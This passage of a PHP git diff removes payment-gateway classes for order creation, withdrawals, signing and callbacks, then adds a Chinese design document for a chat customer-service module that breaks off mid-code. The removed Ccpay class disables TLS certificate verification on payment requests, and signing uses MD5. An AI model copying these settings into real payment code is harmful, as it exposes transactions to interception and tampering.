|
||||
|
||||
$url = $this->domain . '/api/order';
|
||||
return $this->request($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 代收查询
|
||||
*
|
||||
* @param string $orderNo 商户订单号
|
||||
* @return array|null
|
||||
*/
|
||||
public function queryOrder($orderNo)
|
||||
{
|
||||
$params = [
|
||||
'app_id' => $this->config['app_id'],
|
||||
'out_trade_no' => $orderNo,
|
||||
'time' => time(),
|
||||
];
|
||||
|
||||
$params['sign'] = $this->generateSign($params);
|
||||
|
||||
$url = $this->domain . '/api/order/status';
|
||||
return $this->request($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 代付下单(用户提现)
|
||||
*
|
||||
* @param string $orderNo 商户订单号
|
||||
* @param string $amount 金额(元)
|
||||
* @param string $accountName 账户名称
|
||||
* @param string $accountNumber 卡号
|
||||
* @param string $bankCode 银行编码
|
||||
* @param string $bankName 银行名称
|
||||
* @param string $notifyUrl 回调地址
|
||||
* @param string $desc 订单描述
|
||||
* @return array|null
|
||||
*/
|
||||
public function createPayment($orderNo, $amount, $accountName, $accountNumber, $bankCode, $bankName, $notifyUrl, $desc = '')
|
||||
{
|
||||
$params = [
|
||||
'app_id' => strval($this->config['app_id']),
|
||||
'product_id' => strval($this->config['payment_product_id']), // 代付 product_id=14
|
||||
'out_trade_no' => strval($orderNo),
|
||||
'notify_url' => strval($notifyUrl),
|
||||
'amount' => strval($amount),
|
||||
'time' => intval(time()),
|
||||
'desc' => strval($desc),
|
||||
];
|
||||
|
||||
$params['sign'] = $this->generateSign($params);
|
||||
|
||||
// ext不参与签名,单独附加
|
||||
$params['ext'] = [
|
||||
'accountName' => $accountName,
|
||||
'accountNumber' => $accountNumber,
|
||||
'bankCode' => $bankCode,
|
||||
'bankName' => $bankName,
|
||||
];
|
||||
|
||||
$url = $this->domain . '/api/payment';
|
||||
return $this->request($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 代付查询
|
||||
*
|
||||
* @param string $orderNo 商户订单号
|
||||
* @return array|null
|
||||
*/
|
||||
public function queryPayment($orderNo)
|
||||
{
|
||||
$params = [
|
||||
'app_id' => $this->config['app_id'],
|
||||
'out_trade_no' => $orderNo,
|
||||
'time' => time(),
|
||||
];
|
||||
|
||||
$params['sign'] = $this->generateSign($params);
|
||||
|
||||
$url = $this->domain . '/api/payment/status';
|
||||
return $this->request($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 账户查询
|
||||
*
|
||||
* @return array|null
|
||||
*/
|
||||
public function queryAccount()
|
||||
{
|
||||
$params = [
|
||||
'app_id' => $this->config['app_id'],
|
||||
'time' => time(),
|
||||
];
|
||||
|
||||
$params['sign'] = $this->generateSign($params);
|
||||
|
||||
$url = $this->domain . '/api/account';
|
||||
return $this->request($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 处理代收回调 — 仅验签+解析状态,不操作余额
|
||||
* 余额结算由 trait alin_recharge_settle() 统一处理
|
||||
*
|
||||
* @param array $data 回调数据
|
||||
* @param int $logId 日志ID
|
||||
* @return array ['verified' => bool, 'trade_status' => int, 'data' => array]
|
||||
*/
|
||||
public function verifyRechargeCallback($data, $logId = 0)
|
||||
{
|
||||
// 验签
|
||||
if (!$this->verifySign($data)) {
|
||||
addLogToFile('代收回调签名验证失败:' . json_encode($data, 320), 'alin_callback_error', 'alin');
|
||||
return ['verified' => false, 'trade_status' => 0, 'data' => $data];
|
||||
}
|
||||
|
||||
$orderNo = $data['out_trade_no'] ?? '';
|
||||
if ($logId && $orderNo) {
|
||||
Db::name('pay_callback_log')->where('id', $logId)->update(['unique_no' => $orderNo]);
|
||||
}
|
||||
|
||||
$tradeStatus = intval($data['trade_status']);
|
||||
addLogToFile('代收回调验签通过:order=' . $orderNo . ' status=' . $tradeStatus, 'alin_callback', 'alin');
|
||||
|
||||
return ['verified' => true, 'trade_status' => $tradeStatus, 'data' => $data];
|
||||
}
|
||||
|
||||
/**
|
||||
* 处理代付回调(提现回调)
|
||||
*
|
||||
* @param array $data 回调数据
|
||||
* @param int $logId 日志ID
|
||||
* @return string|void
|
||||
*/
|
||||
public function paymentCallback($data, $logId = 0)
|
||||
{
|
||||
// 验签
|
||||
if (!$this->verifySign($data)) {
|
||||
addLogToFile('代付回调签名验证失败:' . json_encode($data, 320), 'alin_callback_error', 'alin');
|
||||
return;
|
||||
}
|
||||
|
||||
$orderNo = $data['out_trade_no'] ?? '';
|
||||
if (!$orderNo) return;
|
||||
|
||||
if ($logId) {
|
||||
Db::name('pay_callback_log')->where('id', $logId)->update(['unique_no' => $orderNo]);
|
||||
}
|
||||
|
||||
$tradeStatus = intval($data['trade_status']);
|
||||
|
||||
$order = Db::name('user_withdraw')->where('order_no', $orderNo)->find();
|
||||
if (!$order) {
|
||||
addLogToFile('代付回调订单不存在:' . $orderNo, 'alin_callback', 'alin');
|
||||
return 'success';
|
||||
}
|
||||
|
||||
// 只处理 AGREE 状态的订单
|
||||
if ($order['status'] !== 'AGREE') {
|
||||
addLogToFile('代付回调订单状态非AGREE:' . $orderNo . ' status=' . $order['status'], 'alin_callback', 'alin');
|
||||
return 'success';
|
||||
}
|
||||
|
||||
$payTime = strtotime($data['complete_time'] ?? '') ?: time();
|
||||
|
||||
if ($tradeStatus === 1) {
|
||||
// 成功
|
||||
$updateData = [
|
||||
'status' => 'SUCCESS',
|
||||
'pay_time' => $payTime,
|
||||
'out_trade_no' => $data['trade_no'] ?? '',
|
||||
];
|
||||
Db::name('user_withdraw')->where('id', $order['id'])->update($updateData);
|
||||
addLogToFile('代付回调成功:' . $orderNo, 'alin_callback', 'alin');
|
||||
return 'success';
|
||||
} elseif ($tradeStatus === 2) {
|
||||
// 失败 — 退回用户余额
|
||||
Db::startTrans();
|
||||
try {
|
||||
$user = Db::name('user')->where('id', $order['user_id'])->lock(true)->find();
|
||||
$newMoney = $user['money'] + $order['money'] + $order['service_fee_money'];
|
||||
|
||||
Db::name('user')->where('id', $order['user_id'])->update([
|
||||
'money' => $newMoney,
|
||||
]);
|
||||
|
||||
Db::name('user_withdraw')->where('id', $order['id'])->update([
|
||||
'status' => 'FAIL',
|
||||
'pay_time' => $payTime,
|
||||
]);
|
||||
|
||||
Db::commit();
|
||||
addLogToFile('代付回调失败已退款:' . $orderNo . ' refund=' . ($order['money'] + $order['service_fee_money']), 'alin_callback', 'alin');
|
||||
return 'success';
|
||||
} catch (\Exception $e) {
|
||||
Db::rollback();
|
||||
addLogToFile('代付回调退款异常:' . $e->getMessage(), 'alin_callback_error', 'alin');
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// 处理中(-1),不返回success让网关重试
|
||||
addLogToFile('代付回调处理中:' . $orderNo . ' status=' . $tradeStatus, 'alin_callback', 'alin');
|
||||
return;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取银行编码列表
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public static function getBankCodes()
|
||||
{
|
||||
return self::$bankCodes;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取配置信息(外部使用)
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function getConfigInfo()
|
||||
{
|
||||
return $this->config;
|
||||
}
|
||||
}
|
||||
@@ -1,132 +0,0 @@
|
||||
<?php
|
||||
namespace pay;
|
||||
|
||||
use think\Db;
|
||||
|
||||
class Ccpay
|
||||
{
|
||||
private $config;
|
||||
private $apiUrl;
|
||||
private $mchNo;
|
||||
private $paySecret;
|
||||
|
||||
public function __construct()
|
||||
{
|
||||
$this->config = config('pay_list.ccpay') ?: [];
|
||||
$this->apiUrl = $this->config['api_url'] ?? '';
|
||||
$this->mchNo = $this->config['mch_no'] ?? '';
|
||||
$this->paySecret = $this->config['pay_secret'] ?? '';
|
||||
}
|
||||
|
||||
public function getConfigInfo()
|
||||
{
|
||||
return $this->config;
|
||||
}
|
||||
|
||||
public function generateSign(array $params)
|
||||
{
|
||||
unset($params['sign']);
|
||||
ksort($params);
|
||||
$str = '';
|
||||
foreach ($params as $k => $v) {
|
||||
if (is_string($v) && strlen($v) > 0) {
|
||||
$str .= "{$k}={$v}&";
|
||||
}
|
||||
}
|
||||
$str = substr($str, 0, -1) . '&paySecret=' . $this->paySecret;
|
||||
return strtoupper(md5($str));
|
||||
}
|
||||
|
||||
public function verifySign(array $params)
|
||||
{
|
||||
$received = $params['sign'] ?? '';
|
||||
if (!$received) return false;
|
||||
$calculated = $this->generateSign($params);
|
||||
return hash_equals($calculated, $received);
|
||||
}
|
||||
|
||||
public function createOrder($orderNo, $amount, $notifyUrl, $memberId = 'og_user', $callbackUrl = '')
|
||||
{
|
||||
$extra = [
|
||||
'bankType' => 'OFFLINE',
|
||||
'cardType' => '0',
|
||||
'orderPeriod' => '30',
|
||||
'memberId' => $memberId,
|
||||
'merchantName' => 'OG',
|
||||
'notifyUrl' => $notifyUrl,
|
||||
'callbackUrl' => $callbackUrl,
|
||||
];
|
||||
|
||||
$data = [
|
||||
'tradeType' => 'cs.pay.submit',
|
||||
'version' => '2.0',
|
||||
'channel' => 'union_pay',
|
||||
'mchNo' => $this->mchNo,
|
||||
'body' => 'online_pay',
|
||||
'mchOrderNo' => $orderNo,
|
||||
'amount' => strval(intval($amount)),
|
||||
'currency' => 'VND',
|
||||
'timePaid' => date('YmdHis'),
|
||||
'remark' => 'online-pay',
|
||||
];
|
||||
|
||||
$signParams = array_merge($data, $extra);
|
||||
$data['sign'] = $this->generateSign($signParams);
|
||||
$data['extra'] = json_encode($extra);
|
||||
|
||||
addLogToFile('ccpay 下单请求: order=' . $orderNo . ' amount=' . $amount . ' params=' . json_encode($data, JSON_UNESCAPED_UNICODE), 'ccpay_request', 'ccpay');
|
||||
|
||||
$result = $this->postForm($this->apiUrl, $data);
|
||||
|
||||
addLogToFile('ccpay 下单返回: ' . json_encode($result, JSON_UNESCAPED_UNICODE), 'ccpay_response', 'ccpay');
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
public function queryOrder($orderNo)
|
||||
{
|
||||
$data = [
|
||||
'tradeType' => 'cs.order.query',
|
||||
'version' => '2.0',
|
||||
'mchNo' => $this->mchNo,
|
||||
'mchOrderNo' => $orderNo,
|
||||
];
|
||||
$data['sign'] = $this->generateSign($data);
|
||||
|
||||
return $this->postForm($this->apiUrl, $data);
|
||||
}
|
||||
|
||||
private function postForm($url, $params)
|
||||
{
|
||||
$ch = curl_init($url);
|
||||
$body = '';
|
||||
foreach ($params as $k => $v) {
|
||||
if (!is_string($v)) continue;
|
||||
$body .= $k . '=' . urlencode($v) . '&';
|
||||
}
|
||||
$body = rtrim($body, '&');
|
||||
|
||||
curl_setopt_array($ch, [
|
||||
CURLOPT_RETURNTRANSFER => true,
|
||||
CURLOPT_POST => true,
|
||||
CURLOPT_POSTFIELDS => $body,
|
||||
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded; charset=UTF-8'],
|
||||
CURLOPT_CONNECTTIMEOUT => 10,
|
||||
CURLOPT_TIMEOUT => 30,
|
||||
CURLOPT_SSL_VERIFYPEER => false,
|
||||
CURLOPT_SSL_VERIFYHOST => false,
|
||||
]);
|
||||
|
||||
$resp = curl_exec($ch);
|
||||
$err = curl_error($ch);
|
||||
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||||
curl_close($ch);
|
||||
|
||||
if ($resp === false) {
|
||||
addLogToFile("ccpay curl 失败: code={$code} err={$err}", 'ccpay_error', 'ccpay');
|
||||
return null;
|
||||
}
|
||||
|
||||
return json_decode($resp, true);
|
||||
}
|
||||
}
|
||||
@@ -1,213 +0,0 @@
|
||||
<?php
|
||||
namespace pay;
|
||||
|
||||
use think\Db;
|
||||
|
||||
/**
|
||||
* 彩虹易支付(epay)对接类
|
||||
*
|
||||
* 对应线上支付平台:https://pay.g7g7.top/
|
||||
* 官方文档:https://pay.cccyun.cc/
|
||||
*
|
||||
* 支付流程:
|
||||
* 1. buildPayUrl() 构造带签名的 URL,前端 302 跳转到该 URL 发起支付
|
||||
* 2. 用户在易支付页面完成支付(USDT扫码/银行卡/支付宝 等,取决于通道)
|
||||
* 3. 易支付异步 POST notify_url,携带 sign;本端 verifyNotifyCallback() 验签
|
||||
*
|
||||
* 签名规则(MD5):
|
||||
* - 去除 sign、sign_type 字段
|
||||
* - 过滤空值
|
||||
* - 按 key 字典序排序
|
||||
* - 拼接 k=v&k=v(不 urlencode,直接原值)
|
||||
* - 末尾拼接 {商户key}(不是 &key=)
|
||||
* - MD5(str) 得 32 位小写
|
||||
*/
|
||||
class Epay
|
||||
{
|
||||
private $config;
|
||||
private $apiUrl;
|
||||
|
||||
public function __construct()
|
||||
{
|
||||
$this->getConfig();
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取配置
|
||||
* 优先读 pay_channel 表(和 AlinPay 一致的存储位置),
|
||||
* 回退到 config('pay_list.epay')
|
||||
*/
|
||||
private function getConfig()
|
||||
{
|
||||
$dbConfig = Db::name('pay_channel')->where('key', 'EPAY')->value('value');
|
||||
if ($dbConfig) {
|
||||
$this->config = json_decode($dbConfig, true) ?: [];
|
||||
} else {
|
||||
$this->config = config('pay_list.epay') ?: [];
|
||||
}
|
||||
$this->apiUrl = $this->config['api_url'] ?? 'https://pay.g7g7.top';
|
||||
}
|
||||
|
||||
public function getConfigInfo()
|
||||
{
|
||||
return $this->config;
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成签名
|
||||
*
|
||||
* @param array $params
|
||||
* @return string
|
||||
*/
|
||||
public function generateSign(array $params)
|
||||
{
|
||||
unset($params['sign'], $params['sign_type']);
|
||||
|
||||
// 过滤空值(易支付官方要求)
|
||||
$params = array_filter($params, function ($val) {
|
||||
return $val !== '' && $val !== null;
|
||||
});
|
||||
|
||||
ksort($params);
|
||||
|
||||
$parts = [];
|
||||
foreach ($params as $k => $v) {
|
||||
$parts[] = $k . '=' . $v;
|
||||
}
|
||||
$str = implode('&', $parts) . ($this->config['key'] ?? '');
|
||||
|
||||
return md5($str);
|
||||
}
|
||||
|
||||
/**
|
||||
* 验证回调签名(时间安全比较)
|
||||
*
|
||||
* @param array $params
|
||||
* @return bool
|
||||
*/
|
||||
public function verifySign(array $params)
|
||||
{
|
||||
$received = $params['sign'] ?? '';
|
||||
$calculated = $this->generateSign($params);
|
||||
return hash_equals($calculated, $received);
|
||||
}
|
||||
|
||||
/**
|
||||
* 构造发起支付的 URL(跳转式 submit.php)
|
||||
* 前端收到该 URL 后直接 window.location 跳转即可
|
||||
*
|
||||
* @param string $orderNo 商户订单号
|
||||
* @param string $type 支付方式:alipay|wxpay|qqpay|bank|jdpay|usdt
|
||||
* @param string $amount 金额(元)
|
||||
* @param string $name 商品名称
|
||||
* @param string $notifyUrl 异步通知地址
|
||||
* @param string $returnUrl 同步跳转地址
|
||||
* @param string $param 业务扩展参数(可选,原样回传)
|
||||
* @return string
|
||||
*/
|
||||
public function buildPayUrl($orderNo, $type, $amount, $name, $notifyUrl, $returnUrl = '', $param = '')
|
||||
{
|
||||
$params = [
|
||||
'pid' => strval($this->config['pid'] ?? ''),
|
||||
'type' => $type,
|
||||
'out_trade_no' => strval($orderNo),
|
||||
'notify_url' => $notifyUrl,
|
||||
'return_url' => $returnUrl,
|
||||
'name' => $name,
|
||||
'money' => strval($amount),
|
||||
'param' => $param,
|
||||
'sign_type' => 'MD5',
|
||||
];
|
||||
|
||||
$params['sign'] = $this->generateSign($params);
|
||||
|
||||
$params = array_filter($params, function ($v) {
|
||||
return $v !== '' && $v !== null;
|
||||
});
|
||||
|
||||
return rtrim($this->apiUrl, '/') . '/submit.php?' . http_build_query($params);
|
||||
}
|
||||
|
||||
/**
|
||||
* API 模式下单(mapi.php)
|
||||
*
|
||||
* @param string $clientIp 下单用户的 IP(mapi.php 必填,否则报 "用户IP地址(clientip)不能为空")
|
||||
* @return array|null
|
||||
*/
|
||||
public function createOrderApi($orderNo, $type, $amount, $name, $notifyUrl, $returnUrl = '', $param = '', $clientIp = '')
|
||||
{
|
||||
if ($clientIp === '' || $clientIp === null) {
|
||||
$clientIp = \think\Request::instance()->ip();
|
||||
}
|
||||
$params = [
|
||||
'pid' => strval($this->config['pid'] ?? ''),
|
||||
'type' => $type,
|
||||
'out_trade_no' => strval($orderNo),
|
||||
'notify_url' => $notifyUrl,
|
||||
'return_url' => $returnUrl,
|
||||
'name' => $name,
|
||||
'money' => strval($amount),
|
||||
'param' => $param,
|
||||
'clientip' => strval($clientIp),
|
||||
'sign_type' => 'MD5',
|
||||
];
|
||||
$params['sign'] = $this->generateSign($params);
|
||||
|
||||
$url = rtrim($this->apiUrl, '/') . '/mapi.php';
|
||||
|
||||
addLogToFile('epay API 下单请求:' . $url . ' params=' . json_encode($params, JSON_UNESCAPED_UNICODE), 'epay_request', 'epay');
|
||||
|
||||
$result = httpPost($url, $params);
|
||||
|
||||
addLogToFile('epay API 下单返回:' . json_encode($result, JSON_UNESCAPED_UNICODE), 'epay_response', 'epay');
|
||||
|
||||
if (is_array($result)) return $result;
|
||||
if (is_string($result)) return json_decode($result, true);
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* 订单查询
|
||||
*/
|
||||
public function queryOrder($orderNo)
|
||||
{
|
||||
$params = [
|
||||
'act' => 'order',
|
||||
'pid' => strval($this->config['pid'] ?? ''),
|
||||
'out_trade_no' => strval($orderNo),
|
||||
];
|
||||
$params['sign'] = $this->generateSign($params);
|
||||
$params['sign_type'] = 'MD5';
|
||||
|
||||
$url = rtrim($this->apiUrl, '/') . '/api.php?' . http_build_query($params);
|
||||
$resp = httpGet($url);
|
||||
return is_string($resp) ? json_decode($resp, true) : $resp;
|
||||
}
|
||||
|
||||
/**
|
||||
* 处理异步回调 — 仅验签+解析状态,不操作余额
|
||||
* 余额结算由 trait 内 epay_recharge_settle() 统一处理
|
||||
*
|
||||
* @param array $data $_POST 或 $_GET
|
||||
* @param int $logId 日志 ID
|
||||
* @return array ['verified' => bool, 'success' => bool, 'data' => array]
|
||||
*/
|
||||
public function verifyNotifyCallback($data, $logId = 0)
|
||||
{
|
||||
if (!$this->verifySign($data)) {
|
||||
addLogToFile('epay 回调验签失败:' . json_encode($data, 320), 'epay_callback_error', 'epay');
|
||||
return ['verified' => false, 'success' => false, 'data' => $data];
|
||||
}
|
||||
|
||||
$orderNo = $data['out_trade_no'] ?? '';
|
||||
if ($logId && $orderNo) {
|
||||
Db::name('pay_callback_log')->where('id', $logId)->update(['unique_no' => $orderNo]);
|
||||
}
|
||||
|
||||
$success = isset($data['trade_status']) && $data['trade_status'] === 'TRADE_SUCCESS';
|
||||
|
||||
addLogToFile('epay 回调验签通过:order=' . $orderNo . ' status=' . ($data['trade_status'] ?? ''), 'epay_callback', 'epay');
|
||||
|
||||
return ['verified' => true, 'success' => $success, 'data' => $data];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,564 @@
|
||||
# OPSX Design: 在线客服模块技术设计
|
||||
|
||||
## 变更标识
|
||||
- **变更ID**: customer-service-module
|
||||
- **版本**: 2.0
|
||||
- **状态**: DESIGN_COMPLETE
|
||||
- **更新日期**: 2026-01-28
|
||||
|
||||
---
|
||||
|
||||
## 1. 架构设计
|
||||
|
||||
### 1.1 系统架构图
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────────┐
|
||||
│ 客户端层 │
|
||||
├─────────────┬─────────────┬─────────────┬─────────────────────────┤
|
||||
│ PC端 │ Game端 │ Portal端 │ Admin客服工作台 │
|
||||
│ (Vue 2.x) │ (Vue 3.x) │ (uni-app) │ (Layui + WS) │
|
||||
│ Element UI │ Vant │ uView │ │
|
||||
└──────┬──────┴──────┬──────┴──────┬──────┴───────────┬─────────────┘
|
||||
│ │ │ │
|
||||
└─────────────┼─────────────┼───────────────────┘
|
||||
│ WebSocket (chat.* 事件)
|
||||
▼
|
||||
┌─────────────────────────────────────────────────────────────────────┐
|
||||
│ Socket服务 (TP6 + Swoole) │
|
||||
├─────────────────────────────────────────────────────────────────────┤
|
||||
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
|
||||
│ │ ChatConnect │ │ ChatMessage │ │ ChatSession │ Listeners │
|
||||
│ │ Listener │ │ Listener │ │ Listener │ │
|
||||
│ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │
|
||||
│ │ │ │ │
|
||||
│ └────────────────┼────────────────┘ │
|
||||
│ ▼ │
|
||||
│ ┌─────────────────────────────────────────────────────────────┐ │
|
||||
│ │ ChatService │ │
|
||||
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
|
||||
│ │ │ MessageSvc │ │ SessionSvc │ │ AssignSvc │ │ │
|
||||
│ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │
|
||||
│ └─────────────────────────────────────────────────────────────┘ │
|
||||
└──────────────────────────────┬──────────────────────────────────────┘
|
||||
│
|
||||
┌─────────────────────┼─────────────────────┐
|
||||
▼ ▼ ▼
|
||||
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
|
||||
│ MySQL │ │ Redis │ │ 文件存储 │
|
||||
│ │ │ │ │ │
|
||||
│ cg_chat_session │ │ cs:online:* │ │ public/uploads/ │
|
||||
│ cg_chat_message │ │ cs:conn:* │ │ chat/ │
|
||||
│ cg_chat_quick_ │ │ cs:lock:* │ │ │
|
||||
│ reply │ │ cs:queue:* │ │ │
|
||||
│ cg_chat_admin_ │ │ cs:agent:* │ │ │
|
||||
│ status │ │ │ │ │
|
||||
└─────────────────┘ └─────────────────┘ └─────────────────┘
|
||||
```
|
||||
|
||||
### 1.2 模块职责
|
||||
|
||||
| 模块 | 职责 | 技术栈 |
|
||||
|------|------|--------|
|
||||
| **ChatConnect Listener** | 处理WS连接/断开、心跳、鉴权 | Swoole onOpen/onClose |
|
||||
| **ChatMessage Listener** | 处理消息收发、ACK、重试 | Swoole onMessage |
|
||||
| **ChatSession Listener** | 处理会话创建/分配/转接/结束 | Swoole onMessage |
|
||||
| **MessageService** | 消息持久化、查询、状态更新 | ThinkPHP Model |
|
||||
| **SessionService** | 会话生命周期管理 | ThinkPHP Model |
|
||||
| **AssignService** | 会话分配、负载均衡、队列管理 | Redis + Model |
|
||||
|
||||
---
|
||||
|
||||
## 2. 数据库设计
|
||||
|
||||
### 2.1 表结构 (最终版)
|
||||
|
||||
```sql
|
||||
-- 客服会话表
|
||||
CREATE TABLE `cg_chat_session` (
|
||||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
||||
`user_id` int(10) unsigned NOT NULL COMMENT '用户ID',
|
||||
`admin_id` int(10) unsigned DEFAULT NULL COMMENT '客服ID',
|
||||
`source` tinyint(1) NOT NULL DEFAULT '1' COMMENT '来源: 1=PC 2=Game 3=Portal',
|
||||
`status` tinyint(1) NOT NULL DEFAULT '0' COMMENT '状态: 0=待分配 1=进行中 2=已结束',
|
||||
`rating` tinyint(1) DEFAULT NULL COMMENT '评分: 1-5',
|
||||
`rating_content` varchar(500) DEFAULT NULL COMMENT '评价内容',
|
||||
`last_msg_id` bigint(20) unsigned DEFAULT NULL COMMENT '最后消息ID(雪花)',
|
||||
`last_msg_time` int(10) unsigned DEFAULT NULL COMMENT '最后消息时间',
|
||||
`create_time` int(10) unsigned NOT NULL,
|
||||
`update_time` int(10) unsigned NOT NULL,
|
||||
`end_time` int(10) unsigned DEFAULT NULL,
|
||||
PRIMARY KEY (`id`),
|
||||
KEY `idx_user_status` (`user_id`, `status`),
|
||||
KEY `idx_admin_status` (`admin_id`, `status`),
|
||||
KEY `idx_status_create` (`status`, `create_time`)
|
||||
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='客服会话表';
|
||||
|
||||
-- 聊天消息表
|
||||
CREATE TABLE `cg_chat_message` (
|
||||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
||||
`msg_id` bigint(20) unsigned NOT NULL COMMENT '消息ID(雪花算法)',
|
||||
`session_id` int(10) unsigned NOT NULL COMMENT '会话ID',
|
||||
`sender_type` tinyint(1) NOT NULL COMMENT '发送者类型: 1=用户 2=客服',
|
||||
`sender_id` int(10) unsigned NOT NULL COMMENT '发送者ID',
|
||||
`msg_type` tinyint(1) NOT NULL DEFAULT '1' COMMENT '消息类型: 1=文字 2=图片',
|
||||
`content` varchar(500) NOT NULL COMMENT '消息内容(文字或图片URL)',
|
||||
`status` tinyint(1) NOT NULL DEFAULT '0' COMMENT '状态: 0=pending 1=sent 2=delivered 3=read 4=failed',
|
||||
`retry_count` tinyint(1) NOT NULL DEFAULT '0' COMMENT '重试次数',
|
||||
`create_time` int(10) unsigned NOT NULL,
|
||||
`delivered_time` int(10) unsigned DEFAULT NULL,
|
||||
`read_time` int(10) unsigned DEFAULT NULL,
|
||||
PRIMARY KEY (`id`),
|
||||
UNIQUE KEY `uk_msg_id` (`msg_id`),
|
||||
KEY `idx_session_id` (`session_id`, `id`),
|
||||
KEY `idx_session_status` (`session_id`, `status`),
|
||||
KEY `idx_sender` (`sender_type`, `sender_id`, `create_time`)
|
||||
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='聊天消息表';
|
||||
|
||||
-- 快捷回复表
|
||||
CREATE TABLE `cg_chat_quick_reply` (
|
||||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
||||
`category` varchar(50) DEFAULT NULL COMMENT '分类',
|
||||
`title` varchar(100) NOT NULL COMMENT '标题',
|
||||
`content` text NOT NULL COMMENT '内容',
|
||||
`sort` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '排序',
|
||||
`status` tinyint(1) NOT NULL DEFAULT '1' COMMENT '状态: 0=禁用 1=启用',
|
||||
`create_time` int(10) unsigned NOT NULL,
|
||||
`update_time` int(10) unsigned NOT NULL,
|
||||
PRIMARY KEY (`id`),
|
||||
KEY `idx_category_status` (`category`, `status`, `sort`)
|
||||
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='快捷回复表';
|
||||
|
||||
-- 客服状态表 (辅助表,主状态在Redis)
|
||||
CREATE TABLE `cg_chat_admin_status` (
|
||||
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
||||
`admin_id` int(10) unsigned NOT NULL COMMENT '客服ID',
|
||||
`max_sessions` int(10) unsigned NOT NULL DEFAULT '10' COMMENT '最大会话数',
|
||||
`is_enabled` tinyint(1) NOT NULL DEFAULT '1' COMMENT '是否启用客服功能',
|
||||
`last_online_time` int(10) unsigned DEFAULT NULL,
|
||||
`create_time` int(10) unsigned NOT NULL,
|
||||
`update_time` int(10) unsigned NOT NULL,
|
||||
PRIMARY KEY (`id`),
|
||||
UNIQUE KEY `uk_admin_id` (`admin_id`)
|
||||
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='客服状态配置表';
|
||||
```
|
||||
|
||||
### 2.2 索引设计说明
|
||||
|
||||
| 表 | 索引 | 用途 |
|
||||
|----|------|------|
|
||||
| cg_chat_session | `idx_user_status` | 查询用户活跃会话 |
|
||||
| cg_chat_session | `idx_admin_status` | 查询客服进行中会话 |
|
||||
| cg_chat_message | `uk_msg_id` | 消息幂等性校验 |
|
||||
| cg_chat_message | `idx_session_id` | 按会话查询消息(分页) |
|
||||
| cg_chat_message | `idx_session_status` | 查询会话未读消息 |
|
||||
|
||||
---
|
||||
|
||||
## 3. 核心算法设计
|
||||
|
||||
### 3.1 雪花算法 (消息ID生成)
|
||||
|
||||
```php
|
||||
// app/utils/Snowflake.php
|
||||
class Snowflake
|
||||
{
|
||||
private const EPOCH = 1704067200000; // 2024-01-01 00:00:00 UTC
|
||||
private const WORKER_ID_BITS = 5;
|
||||
private const DATACENTER_ID_BITS = 5;
|
||||
private const SEQUENCE_BITS = 12;
|
||||
|
||||
private $workerId;
|
||||
private $datacenterId;
|
||||
private $sequence = 0;
|
||||
private $lastTimestamp = -1;
|
||||
|
||||
public function __construct(int $workerId = 1, int $datacenterId = 1)
|
||||
{
|
||||
$this->workerId = $workerId & 0x1F; // 5 bits
|
||||
$this->datacenterId = $datacenterId & 0x1F; // 5 bits
|
||||
}
|
||||
|
||||
public function nextId(): int
|
||||
{
|
||||
$timestamp = $this->currentTimeMillis();
|
||||
|
||||
if ($timestamp === $this->lastTimestamp) {
|
||||
$this->sequence = ($this->sequence + 1) & 0xFFF; // 12 bits
|
||||
if ($this->sequence === 0) {
|
||||
$timestamp = $this->waitNextMillis($this->lastTimestamp);
|
||||
}
|
||||
} else {
|
||||
$this->sequence = 0;
|
||||
}
|
||||
|
||||
$this->lastTimestamp = $timestamp;
|
||||
|
||||
return (($timestamp - self::EPOCH) << 22)
|
||||
| ($this->datacenterId << 17)
|
||||
| ($this->workerId << 12)
|
||||
| $this->sequence;
|
||||
}
|
||||
|
||||
private function currentTimeMillis(): int
|
||||
{
|
||||
return (int)(microtime(true) * 1000);
|
||||
}
|
||||
|
||||
private function waitNextMillis(int $lastTimestamp): int
|
||||
{
|
||||
$timestamp = $this->currentTimeMillis();
|
||||
while ($timestamp <= $lastTimestamp) {
|
||||
$timestamp = $this->currentTimeMillis();
|
||||
}
|
||||
return $timestamp;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 3.2 会话分配算法 (最少会话数 + 分布式锁)
|
||||
|
||||
```php
|
||||
// app/services/chat/AssignService.php
|
||||
class AssignService
|
||||
{
|
||||
private const LOCK_TTL = 3000; // 3秒
|
||||
private const LOCK_PREFIX = 'cs:lock:assign:';
|
||||
private const ONLINE_PREFIX = 'cs:online:agent:';
|
||||
private const LOAD_PREFIX = 'cs:agent:load:';
|
||||
|
||||
/**
|
||||
* 分配会话给客服
|
||||
* @param int $userId 用户ID
|
||||
* @param int $sessionId 会话ID
|
||||
